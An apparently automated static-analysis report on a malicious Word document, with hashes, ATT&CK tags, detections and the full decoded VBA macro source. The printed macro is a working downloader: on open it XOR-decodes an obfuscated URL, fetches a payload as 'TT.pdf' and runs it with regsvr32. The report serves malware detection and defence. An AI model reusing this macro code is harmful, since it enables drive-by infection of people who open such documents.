Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 643d4820da0c5a43…

MALICIOUS

Office (OOXML)

115.7 KB Created: 2020-07-24 08:49:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 6101854fe222378d4d68782716c3acd5 SHA-1: d4e51ebe3a6c709f3ad10a47d124c2d736e7c589 SHA-256: 643d4820da0c5a4317dc0417bb8cb305aa5114949eedabb40a82e679ae77044a
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' macro is designed to execute a function that downloads a file named 'TT.pdf' using URLDownloadToFile and then executes it using WshShell.run. This indicates a downloader or droppper functionality.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal tN As LongPtr, ByVal QL As String, ByVal yW As String, ByVal oy As LongPtr, ByVal SM As LongPtr) As Long
    #Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub autoopen()
    dX = cA(X)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3881 bytes
SHA-256: 5b4ce3845d0072e862aba3eba5d5c8f2f4805d684d1eb08c38f7d3864cacf04e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wX"
Public Const b As String = "TT.pdf"
Function cA(ev)
Qo = NF(ev)
For ua = 0 To UBound(Qo)
 ID = ID & Chr(Qo(ua) Xor 111)
Next ua
cA = ID
End Function
Sub autoopen()
dX = cA(X)

' Cinder curtsey
' Organic stewardess bubble
' Achievements compunction
frm.download dX, b

' Adventuress remind credulous
' Mar
' Ado insipid piper
' Point vat
' Lauderdale asking going pers
' Dui view ones portugal
' Spain solved

' Leavings propitiatory zoological tops

' Simulate lombard ell
' Hired rebuild
' Inculcate
' Precedence creak

' Hopefully scribble
' Allegory zip unbidden
' Combinations canvass
' Bras disreputable
' Shipment
' Bangkok fawning aqueous

' Fridge
' Nor
' Continent
Dim T9 As New WshShell

' Pairs
' Processor defense tormentor immobile
' Rh pets publisher touchy moccasin
Call T9.run(N & Zw & " " + b)

' Nostrum baal
' Anthea
' Gdp back require
' Co hapless vietnam
End Sub

Attribute VB_Name = "wX1"
Function T6(yE)

' Stupid frustration
' Spy
' Wheaten solidarity
' Lucy exports portray dormitory castor
' Errant insular literally
' Amphitheatre translations newfoundland kuwait process boor
End Function
Sub uu(Nc)

' Cloven collapse disintegration packages

' Childbirth aurora
' Swamped members
' Parade continuous reminder head
' Geo boulevard pe

' Accountable substantive hobble doctrine voyeur
' Lindsay unbiased premises
' Gregarious bearable quantitative challenging losers
' Scapegrace idiocy speech plants
' Lion freight

' Altruistic graft
' Zion fairfield characterization technique pace motherhood davidson

' Ct prometheus palatable accident
' Elucidate
' Pond died propulsion despot
' Dictionary engagement additions

' Safe faces fe

' Roumania
' Xavier meetup protocol

' Messaging representation forming adjutant
' Sikh necklace vatican aluminum
' Webmasters swag simultaneously follows kenny caution
' Linden roommate unfathomable contracting

' Harvest plume rs finest attends arbitrary absent-minded
' Confessional payable slayer browser source
' Sparrow vietnam season saddled

' Bituminous

' Uplifting induced
' Monday desecration une
' Juxtaposition brain sys allocation exemplary
' Iniquitous reporting centurion

' Liberated ps. luster known
' Jm mentioned resulting raleigh
' Molecules sacrament
' Organise forbes brackish
' Battle divide butts coupons
End Sub

Attribute VB_Name = "V7"
Public Const N As String = "reg"
Public Const Zw As String = "svr32"
Public Const X As String = "7_27_27_31_85_64_64_31_94_28_88_31_94_2_86_90_65_12_0_2_64_23_10_2_12_3_64_6_13_14_65_31_7_31_80_3_82_4_9_14_93_65_12_14_13"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal tN As LongPtr, ByVal QL As String, ByVal yW As String, ByVal oy As LongPtr, ByVal SM As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal tN As Long, ByVal QL As String, ByVal yW As String, ByVal oy As Long, ByVal SM As Long) As Long
#End If
Function NF(Af)
NF = Split(Af, "_")
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{7B08354F-46F9-4548-B986-AD445B2544DD}{B3E58A90-4C54-4760-B344-662C7DF28A13}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: cc9e5766e72e9d7bfba6325eccdf2119111e32052eff18e37de5d69654889897